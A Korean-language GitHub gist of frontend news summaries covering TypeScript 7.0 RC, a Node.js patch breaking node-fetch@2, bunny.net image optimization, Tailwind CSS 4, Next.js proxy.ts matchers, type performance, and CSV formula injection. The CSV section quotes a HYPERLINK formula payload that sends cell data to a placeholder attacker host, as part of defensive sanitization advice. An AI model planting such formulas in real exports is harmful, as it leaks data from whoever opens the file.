Skip to content

Instantly share code, notes, and snippets.

@leedc0101
Created June 20, 2026 01:32
Show Gist options
  • Select an option

  • Save leedc0101/2b43c0973fa32fa8afa2da679e0b3ffb to your computer and use it in GitHub Desktop.

Select an option

Save leedc0101/2b43c0973fa32fa8afa2da679e0b3ffb to your computer and use it in GitHub Desktop.
frontend-briefing-2026-06-20-KST

Announcing TypeScript 7.0 RC

TypeScript 7.0 RC의 핵심은 새 기능 몇 개가 아니라 컴파일러 기반 자체의 교체다. 기존 TypeScript 컴파일러는 TypeScript로 작성되어 JavaScript로 컴파일되는 구조였지만, 7.0은 Go 기반 네이티브 구현으로 포팅됐다. Microsoft는 기존 구현을 처음부터 다시 설계한 것이 아니라, 10년 넘게 쌓은 테스트 스위트와 동일한 타입 체크 의미론을 유지하는 방식으로 옮겼다고 설명한다. 목표는 호환성을 유지하면서도 네이티브 코드 속도와 공유 메모리 병렬화를 얻는 것이다.

실무적으로 가장 큰 변화는 속도다. Microsoft는 TypeScript 7.0이 TypeScript 6.0보다 흔히 10배 가까이 빠르다고 말한다. Bloomberg, Canva, Figma, Google, Linear, Miro, Notion, Slack, Vercel 등 대형 코드베이스를 가진 팀들이 사전 빌드를 시험했고, 빌드 시간과 에디터 반응성이 크게 줄었다는 피드백을 받았다고 한다. 설치는 기존처럼 npm install -D typescript@rc로 가능하고, VS Code에서는 TypeScript Native Preview 확장을 통해 같은 기반의 언어 서버를 시험할 수 있다.

다만 프로그램 API는 아직 안정화되지 않았다. TypeScript 팀은 안정적인 API가 적어도 TypeScript 7.1 이후에나 제공될 것이라고 밝혔다. 그래서 6.x 생태계 도구와 함께 쓰는 방법도 제공한다. @typescript/typescript6 패키지는 tsc6 실행 파일과 TypeScript 6 API를 제공하며, npm alias를 이용하면 typescript 의존성은 6.x API를 바라보게 두고 별도 alias로 7.0의 tsc를 실행하는 구성이 가능하다. typescript-eslint처럼 peer dependency로 typescript를 직접 가져가는 도구가 아직 많기 때문에 이 전환 방식이 중요하다.

병렬화 옵션도 새로 들어왔다. --checkers는 타입 체크 워커 수를 조절하고, --builders는 project reference 빌드를 병렬로 얼마나 많이 돌릴지 조절한다. 큰 모노레포에서는 효과가 크지만, 둘을 곱하면 동시에 도는 체커 수가 급증하므로 CI 메모리와 CPU 코어 수에 맞춰 조심스럽게 튜닝해야 한다. 디버깅이나 외부 빌드 오케스트레이션 환경에서는 --singleThreaded로 단일 스레드 실행도 강제할 수 있다.

watch 모드도 다시 설계됐다. TypeScript 7은 Parcel watcher에서 파생된 새 파일 감시 기반을 사용해, 기존 순수 폴링 방식보다 큰 프로젝트와 node_modules가 많은 환경에서 리소스 사용량을 낮춘다. 에디터 체감 성능까지 포함하면, 이 변화는 CI가 빨라진다보다 넓은 의미가 있다.

마이그레이션 리스크도 있다. TypeScript 7.0은 TypeScript 6.0의 새 기본값과 deprecation을 받아들인다. strict 기본값, module, target, types, rootDir 등의 동작이 예상과 다를 수 있고, target: es5, moduleResolution: node/node10, baseUrl, module: amd/umd/systemjs/none 같은 오래된 설정은 더 이상 지원되지 않는다. 특히 tsconfig가 src 밖에 있는 프로젝트는 rootDir을 명시해야 기존 출력 구조를 유지할 수 있고, 전역 타입에 의존하는 프로젝트는 types를 명시해야 한다.

한 줄 결론: TypeScript 7.0 RC는 대형 FE/Node 코드베이스에서 바로 시험할 가치가 있다. 단, 타입스크립트 API를 직접 쓰는 도구 체인과 오래된 tsconfig 설정은 먼저 분리해서 검증해야 한다.

Node.js Security Fix Silently Broke node-fetch, which broke other tools

2026년 6월 18일 Node.js는 활성 릴리스 라인에 보안 업데이트를 배포했다. 여기에는 Node 22.23.0 LTS와 Node 24.17.0이 포함됐고, http.Agent의 Response Queue Poisoning 취약점을 막기 위한 변경이 들어갔다. 문제는 이 보안 패치가 네트워크 계층에서는 타당한 변경이었지만, 레거시 HTTP 래퍼의 방어 로직과 충돌하면서 일부 개발 파이프라인을 조용히 깨뜨렸다는 점이다.

작성자의 팀은 E2E 테스트 실패로 문제를 처음 발견했다. 처음에는 일시적인 네트워크 문제처럼 보였지만, 원인은 Node core의 소켓 라이프사이클 변경이었다. 이전에는 HTTP 응답이 끝나면 내부 socket data listener 일부가 제거됐다. 보안 패치 이후에는 응답 완료 후에도 소켓 상태를 더 정확히 관리하기 위해 listener가 남아 있게 됐다.

node-fetch@2는 완료되지 않은 스트림을 감지하기 위해 응답 스트림이 완료된 뒤 underlying socket에 data listener가 남아 있는지를 검사한다. 과거 Node에서는 listener가 남지 않았으니 정상 종료로 판단했다. 새 Node에서는 보안 패치 때문에 listener가 남아 있고, node-fetch@2는 이를 중단된 스트림으로 오판해 ERR_STREAM_PREMATURE_CLOSE를 던진다.

문제는 모든 HTTP 호출에서 발생하지 않는다. 원문은 HTTPS/TLS 연결, chunked transfer encoding, compression enabled, keep-alive socket 재사용 조건이 겹칠 때 재현될 가능성이 높다고 설명한다. 그래서 로컬에서는 안 터지고 CI나 특정 외부 API 호출에서만 터질 수 있다. node:24-alpine, .nvmrc의 lts/*처럼 floating tag를 쓰는 CI/CD 환경은 새 이미지를 자동으로 가져오면서 6월 17일에는 통과하던 파이프라인이 6월 19일에는 실패하는 상황을 만들 수 있다.

영향 범위도 직접 node-fetch@2를 쓰는 앱에만 그치지 않는다. cross-fetch@4, Google의 gaxios, Firebase Tools처럼 오래된 wrapper를 안쪽에서 품고 있는 도구도 영향을 받을 수 있다. node-fetch@2는 사실상 유지보수 종료 상태라 최신 Node socket 동작에 맞춘 패치를 기대하기 어렵다.

실무 대응은 세 가지다. 첫째, CI Node 버전을 floating tag로 두고 있다면 정확한 버전으로 고정해 재현성을 확보한다. 둘째, 실패 로그에 ERR_STREAM_PREMATURE_CLOSE가 보이고 최근 Node 보안 업데이트와 시점이 겹친다면 네트워크/인증 문제가 아니라 런타임-라이브러리 호환성으로 의심한다. 셋째, 장기적으로는 Node 내장 fetch로 이동한다. 내장 fetch는 undici 기반이라 레거시 http.Agent의 같은 가정에 기대지 않는다.

한 줄 결론: 보안 패치 자체를 피하기보다, node-fetch@2 계열 의존성을 정리하고 CI 런타임 버전 고정을 먼저 해야 한다.

How We Saved Big and Simplified Our Image Pipeline: Adopting bunny.net on DEV

DEV/Forem 팀은 오래전부터 HTML 문서 캐싱은 Fastly edge caching으로 잘 처리해 왔다. 대부분의 페이지 요청이 Rails/Puma 서버까지 닿지 않기 때문에 응답 시간이 짧고 서버 메모리 사용도 낮았다. 하지만 사용자 업로드 이미지는 전혀 다른 문제였다. 커버 이미지, 아바타, 댓글 스크린샷, 챌린지 배너처럼 커뮤니티가 올리는 고해상도 자산이 늘어나면서 이미지 파이프라인은 비용과 복잡도의 병목이 됐다.

기존 구조는 여러 CDN, 동적 이미지 프록시, S3 같은 cloud storage origin이 섞인 패치워크였다. Rails 앱은 업로드 시점에 모든 크기의 이미지를 미리 만들지 않고, 요청 시점에 width=800 같은 파라미터를 받아 리사이즈와 WebP/AVIF 변환을 수행했다. 이론상 유연하지만, 대규모 오픈 웹 트래픽에서는 스크래퍼와 크롤러가 캐시되지 않은 변형을 계속 요청하고, 캐시 미스로 origin egress 비용이 발생하며, 일부 이미지 CDN은 변환 횟수 단위로 비용을 청구한다.

DEV가 bunny.net을 선택한 이유는 단순 bandwidth 절감만이 아니었다. Bunny Optimizer와 Edge Scripting 조합이 이미지 최적화, 영구 캐시, request rewrite를 한 플랫폼 안에서 처리할 수 있었기 때문이다. Bunny Optimizer는 URL 파라미터로 리사이즈/크롭/압축을 수행하고, 브라우저의 Accept header에 맞춰 WebP나 AVIF를 자동 선택한다. Perma-Cache는 처리된 이미지 변형을 Bunny Storage에 영구 복제해, edge cache eviction 이후에도 원본 S3를 다시 치지 않게 만든다. 작성자는 이 구조가 cloud storage egress 비용을 사실상 제거했다고 설명한다.

Edge Scripting은 Deno/V8 기반으로 CDN edge에서 TypeScript/JavaScript를 실행한다. DEV는 Rails view에 복잡한 URL 생성 로직을 넣기보다, Forem 내부의 Images::Optimizer 서비스를 provider 전략 패턴으로 두고 Fastly, Cloudflare, Cloudinary, bunny.net을 교체 가능하게 만들었다. Rails 쪽에서는 표준화된 width, height, fit, gravity 같은 옵션만 넘기고, 각 provider가 자기 URL 포맷으로 변환한다.

하지만 Rails helper만으로는 누락된 width 파라미터나 오래된 raw URL을 전부 막기 어렵다. 그래서 edge script를 안전망으로 둔다. 예를 들어 /uploads/avatars/ 요청인데 width가 없다면 edge에서 자동으로 width=150, height=150, crop=1:1을 넣고, 썸네일은 또 다른 상한선을 적용한다. 이렇게 하면 사용자나 봇이 원본 10MB 이미지를 직접 요청해도 CDN 경계에서 작게 줄인 변형을 서빙할 수 있다.

실무 포인트는 CDN 교체보다 추상화 방식이다. 이미지 최적화 provider를 앱 코드 곳곳에 흩뿌리지 않고, 하나의 service/strategy로 감싼 뒤 edge layer를 최종 방어선으로 둔다. 이렇게 하면 self-hosted Forem 인스턴스는 환경 변수만 바꿔 provider를 선택할 수 있고, 운영팀은 스크래퍼/크롤러/레거시 URL 같은 현실적인 트래픽에도 origin 비용을 방어할 수 있다.

한 줄 결론: 이미지 최적화는 좋은 CDN 고르기 문제가 아니라, origin egress, 변환 캐시, edge rewrite, 앱 내부 추상화를 함께 설계하는 문제다.

Tailwind CSS4: Why Those Inline Styles Are Actually More Scalable

이 글은 Tailwind의 긴 utility class 목록을 HTML 안에 스타일을 덕지덕지 넣는 퇴행으로 보는 시각에 반박한다. 작성자의 핵심 주장은 Tailwind가 예쁜 마크업을 포기하는 대신, 대형 코드베이스에서 스타일 변경의 위험을 줄인다는 것이다.

전통적인 CSS에서는 .card-variant-3 같은 클래스가 2년 뒤 어디에서 쓰이는지 알기 어려워진다. 개발자는 기존 클래스를 고치면 어느 마케팅 페이지가 깨질지 몰라 새 클래스를 추가한다. .card-variant-3-updated처럼 거의 같은 스타일이 계속 늘고, stylesheet는 5,000줄, 10,000줄로 커진다. 이름 짓기와 HTML/CSS 파일 왕복도 반복된다.

Tailwind는 이 문제를 utility class 재사용으로 바꾼다. bg-mint-500, text-mint-500, p-4 같은 클래스는 CSS 변수와 토큰에서 생성되고, 컴포넌트 안에서 직접 조합된다. 페이지가 10개든 10,000개든 실제 production CSS는 제한된 utility 집합을 재사용하므로 전통적인 방식보다 선형적으로 커지지 않는다. 또한 특정 요소의 스타일이 그 컴포넌트 안에 있기 때문에, 컴포넌트를 삭제하면 스타일도 함께 사라진다. 멀리 떨어진 sidebar나 legacy page를 실수로 깨뜨릴 가능성이 줄어든다.

가장 흔한 반론은 가독성이다. Tailwind를 처음 보면 className이 길고 지저분해 보인다. 작성자는 현대 FE가 대부분 React, Vue, Svelte, Astro, Blade 같은 컴포넌트 기반 구조라는 점을 강조한다. 실제로 긴 class 목록을 매번 보는 것이 아니라, 한 번 구현한 뒤 Card variant=premium 같은 의미 있는 컴포넌트로 감춘다. 구현 상세는 단일 파일 안에 격리되고, 상위 레이아웃에서는 semantic component만 보인다.

이 주장은 Tailwind를 무조건 쓰라는 뜻은 아니다. 중요한 기준은 팀이 스타일 변경의 영향 범위를 얼마나 잘 통제할 수 있느냐다. 디자인 시스템이 잘 잡힌 팀이라면 utility class는 토큰 사용을 강제하고, 컴포넌트 단위로 변경 범위를 좁히는 도구가 된다. 반대로 아무 규칙 없이 class 목록만 길어지면 Tailwind도 충분히 지저분해질 수 있다.

실무 적용 기준은 이렇게 잡을 수 있다. 공통 UI는 variant API를 가진 컴포넌트로 감싸고, 반복되는 class 조합은 helper나 component boundary로 올린다. 페이지 단위 one-off 스타일은 CSS 파일에 새 이름을 계속 만들기보다 utility로 즉시 표현한다. 디자인 토큰은 theme/CSS variables 쪽에서 관리해 색상과 spacing이 무질서하게 늘지 않도록 한다.

한 줄 결론: Tailwind의 장점은 inline처럼 보이는 문법이 아니라, 스타일의 소유권과 삭제 가능성을 컴포넌트 경계 안으로 가져오는 데 있다.

I Got the proxy.ts Matcher Wrong for Three Projects Before I Understood Why

Next.js 16에서는 middleware.ts가 deprecated되고 proxy.ts로 이름이 바뀐다. 작성자는 이 변경이 단순한 파일명 교체가 아니라 역할을 명확히 하려는 신호라고 설명한다. Express식 middleware pipeline처럼 데이터베이스 호출, 무거운 비즈니스 로직, 세션 관리를 넣는 위치가 아니라, request가 route/render code에 닿기 전에 네트워크 경계에서 가볍게 가로채는 proxy라는 뜻이다.

인증 관점에서 중요한 변화는 runtime이다. 기존 middleware.ts는 Edge runtime이 기본이라 crypto 지원 제약 때문에 JWT 검증에서 우회가 필요했다. Next.js 16의 proxy.ts는 Node.js runtime이 기본이고, jose 같은 표준 JWT 라이브러리를 그대로 쓸 수 있다. 공식 문서상 proxy.ts의 runtime은 nodejs이며 edge runtime으로 바꿀 수 없다. Edge가 필요한 지리 기반 redirect나 CDN 레벨 A/B 테스트는 기존 middleware 쪽에 남길 수 있지만, 인증 게이트는 proxy가 더 적합하다.

마이그레이션은 codemod로 할 수 있다. 전체 업그레이드는 npx @next/codemod@canary upgrade latest, middleware만 바꾸려면 npx @next/codemod@canary middleware-to-proxy .를 쓴다. 하지만 작성자는 codemod를 믿고 끝내지 말고 세 가지를 직접 확인하라고 한다. 프로젝트 root에 proxy.ts가 있는지, export 함수 이름이 proxy인지, 기존 middleware.ts가 삭제됐는지다. 패키지만 올리고 middleware.ts가 남아 있으면 타입 체크는 통과하지만 런타임에서는 조용히 무시될 수 있다.

가장 위험한 부분은 matcher다. matcher가 없거나 너무 넓으면 proxy가 CSS, JS bundle, 이미지까지 모든 요청에서 JWT를 검증하려고 한다. 비로그인 사용자의 static asset 요청이 로그인으로 redirect되고, 로그인 페이지에서도 다시 static asset이 redirect되면서 무한 redirect loop나 느린 로딩이 생긴다. 반대로 matcher가 특정 보호 route를 놓치면 proxy가 아예 실행되지 않는다.

작성자는 static asset을 제외하는 negative lookahead matcher를 사용한다. _next/static, _next/image, favicon.ico, sitemap.xml, robots.txt, 이미지 확장자 등을 제외하고 실제 route 요청에만 proxy를 태우는 방식이다. matcher 값은 build time에 정적으로 분석되므로 상수여야 하며, 변수나 동적 계산으로 만들면 조용히 무시될 수 있다.

두 번째 함정은 header 방향이다. Server Component에서 headers()로 읽을 값은 응답 header가 아니라 forward되는 request header에 넣어야 한다. 즉 NextResponse.next({ request: { headers: requestHeaders } })가 맞고, NextResponse.next({ headers: requestHeaders })는 브라우저로 나가는 response header를 설정하는 다른 의미다. 틀려도 에러가 없어서 디버깅이 어렵다.

세 번째 핵심은 forwarded header를 절대 최종 신뢰 경계로 삼지 않는 것이다. matcher가 빠진 route에서는 proxy가 실행되지 않으므로, 클라이언트가 직접 x-user-id를 보낼 수 있다. Server Component 입장에서는 proxy가 넣은 header와 클라이언트가 보낸 header를 구분할 수 없다. 그래서 route/render layer에서는 cookie의 JWT를 다시 검증하는 getVerifiedUser() 같은 함수를 두고, permission이나 ownership 판단은 그 결과를 기준으로 해야 한다. JWT를 두 번 검증하는 비용보다 matcher gap으로 인한 권한 오류가 훨씬 비싸다.

한 줄 결론: Next.js proxy는 빠른 1차 게이트로 쓰되, matcher coverage와 request header 방향을 테스트하고, 실제 권한 판단은 route/render/server function 내부에서 독립 검증해야 한다.

Making my TypeScript types 15.7x faster

이 글은 런타임 코드 성능이 아니라 TypeScript 타입 성능을 다룬다. 작성자는 schema validation library인 Sury를 유지보수하면서, 큰 타입이 type inference를 느리게 만든다는 이슈를 받았다. TypeScript 타입 시스템이 느린 것은 피할 수 없는 숙명이 아니라, 타입 설계 방식에 따라 크게 개선될 수 있다는 전제에서 출발한다.

먼저 작성자는 타입 성능을 측정 가능한 문제로 만들었다. @ark/attest를 사용해 type instantiation count를 기록했고, vitest의 expectTypeOf로 추론 결과가 깨지지 않도록 고정했다. 타입 최적화는 런타임 최적화보다 회귀를 알아채기 어렵기 때문에, 빠르게 만들기 전에 동일한 타입이 유지되는지를 테스트로 묶는 것이 중요하다.

결과는 꽤 크다. 10개 필드 객체 정의는 1,409 instantiation에서 343으로 줄어 4.1배 빨라졌고, 5개 필드 object의 S.Output 추출은 7,842에서 501로 줄어 15.7배 빨라졌다. S.Input 추출도 13.5배, nested object output도 15.4배 개선됐다. 제목의 15.7배는 일반 앱 코드에서 자주 쓰는 type X = S.Output 패턴의 비용을 크게 낮췄다는 의미다.

핵심 교훈은 타입을 매번 계산하지 말고, 중간 결과를 고정하고 재사용하라는 것이다. 복잡한 조건부 타입, union distribution, recursive mapped type은 표현력이 좋지만 compiler가 같은 작업을 반복하게 만들 수 있다. 라이브러리 API에서는 사용자가 매번 output/input 타입을 꺼낼 때 전체 schema 구조를 다시 파생하지 않도록, 타입 정보의 경계를 더 명확히 나누는 편이 낫다.

또 하나의 포인트는 bench 대상 선택이다. 큰 union, nested object, optional field, define + extract, merge + extract output처럼 실제 사용자가 밟는 경로를 따로 측정해야 한다. 어떤 최적화는 단순 object에서는 크게 좋아지지만 union에서는 거의 효과가 없을 수 있고, 반대로 extraction처럼 자주 호출되는 경로의 개선은 전체 DX에 더 큰 영향을 준다.

FE/TS 앱 팀에도 적용된다. 라이브러리를 만들지 않더라도, 라우트 타입, API client 타입, form schema 타입, zod/valibot/arktype/sury 기반 파생 타입이 너무 느려지면 에디터가 멈추고 CI typecheck가 길어진다. 이때 무작정 skipLibCheck나 타입 축소로 숨기기 전에, type instantiation을 측정하고 반복 계산되는 조건부 타입을 줄이는 접근이 필요하다.

한 줄 결론: TypeScript 타입도 성능 예산이 있다. 타입 테스트와 instantiation 측정을 붙이면, 추론 정확도를 유지하면서 에디터/CI 비용을 실질적으로 줄일 수 있다.

The CSV export vulnerability you probably have (and a one-line fix)

CSV export는 많은 웹앱이 가볍게 구현하지만, spreadsheet가 CSV를 여는 방식 때문에 보안 문제가 생긴다. 사용자가 입력한 값이 =, +, -, @, tab, carriage return으로 시작하면 Excel/Google Sheets 같은 도구가 이를 텍스트가 아니라 formula로 해석할 수 있다. 공격자가 이름 필드에 =HYPERLINK("http://evil.com?x="&A1) 같은 값을 넣고, 운영자가 CSV를 열면 인접 셀 값을 외부 URL로 누출하는 식의 공격이 가능하다.

중요한 점은 이것이 CSV 문법 오류가 아니라는 것이다. 쉼표를 escape하고 quote를 doubling하는 일반 CSV escaping은 셀 구분을 올바르게 만들 뿐, spreadsheet formula 실행을 막지 않는다. 그래서 CSV serializer를 쓰고 있으니 안전하다는 판단은 부족하다.

대응은 formula로 해석될 수 있는 문자열 앞에 apostrophe를 붙이는 것이다. 예를 들어 =HYPERLINK(...)를 '=HYPERLINK(...)로 export하면 spreadsheet는 값을 formula가 아닌 텍스트로 표시한다. 원문에서 소개한 csv-pipe는 stringify(rows, { sanitizeFormulas: true }) 옵션으로 이 처리를 제공한다. 숫자나 날짜는 건드리지 않고, 문자열/배열 셀 중 위험한 prefix를 가진 값만 보호한다.

실무적으로는 CSV export가 있는 모든 관리자 도구, 리포트 다운로드, 고객 데이터 export, 유저 생성 content export에 이 체크를 넣어야 한다. 특히 관리자만 여는 CSV가 더 위험할 수 있다. 공격자는 일반 유저 입력을 통해 payload를 저장하고, 관리자나 CS 담당자가 내려받아 열기를 기다리면 된다.

직접 구현한다면 serializer 앞단이나 cell escaping 함수에서 다음 조건을 검사하면 된다. 값이 문자열이고 첫 문자가 =, +, -, @, tab, carriage return 중 하나라면 앞에 apostrophe를 붙인다. 이미 CSV quoting을 하는 로직과 혼동하지 말고, formula sanitization을 별도 단계로 둔다.

한 줄 결론: untrusted data를 CSV로 내보내는 기능은 formula injection 방어를 기본값으로 켜야 한다. 쉼표 escaping만으로는 부족하다.

frontend-briefing-2026-06-20-KST

번역일: 2026-06-20 KST

이 gist는 최근 프론트엔드 실무에 영향이 큰 글 7개를 한국어로 읽기 좋게 옮긴 브리핑이다. 공개 gist 특성상 원문 전체를 그대로 재게시하지 않고, 핵심 논지와 실무 적용 포인트를 한국어 상세 번역 형태로 재구성했다. 원문 확인이 필요한 세부 문맥은 각 파일 상단의 링크를 기준으로 보면 된다.

핵심 3줄:

  1. TypeScript 7.0 RC는 Go 기반 컴파일러와 병렬화로 대형 코드베이스의 빌드와 에디터 체감을 크게 바꾸는 릴리스다.
  2. Node.js 보안 패치, Next.js proxy matcher, CSV export처럼 평소엔 조용하지만 배포 때 터지는 경계면 이슈가 이번 주 실무 리스크로 보인다.
  3. 이미지 CDN/Optimizer, Tailwind utility, 타입 설계 최적화는 성능과 운영 비용을 코드 구조 차원에서 줄이는 사례로 참고 가치가 크다.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment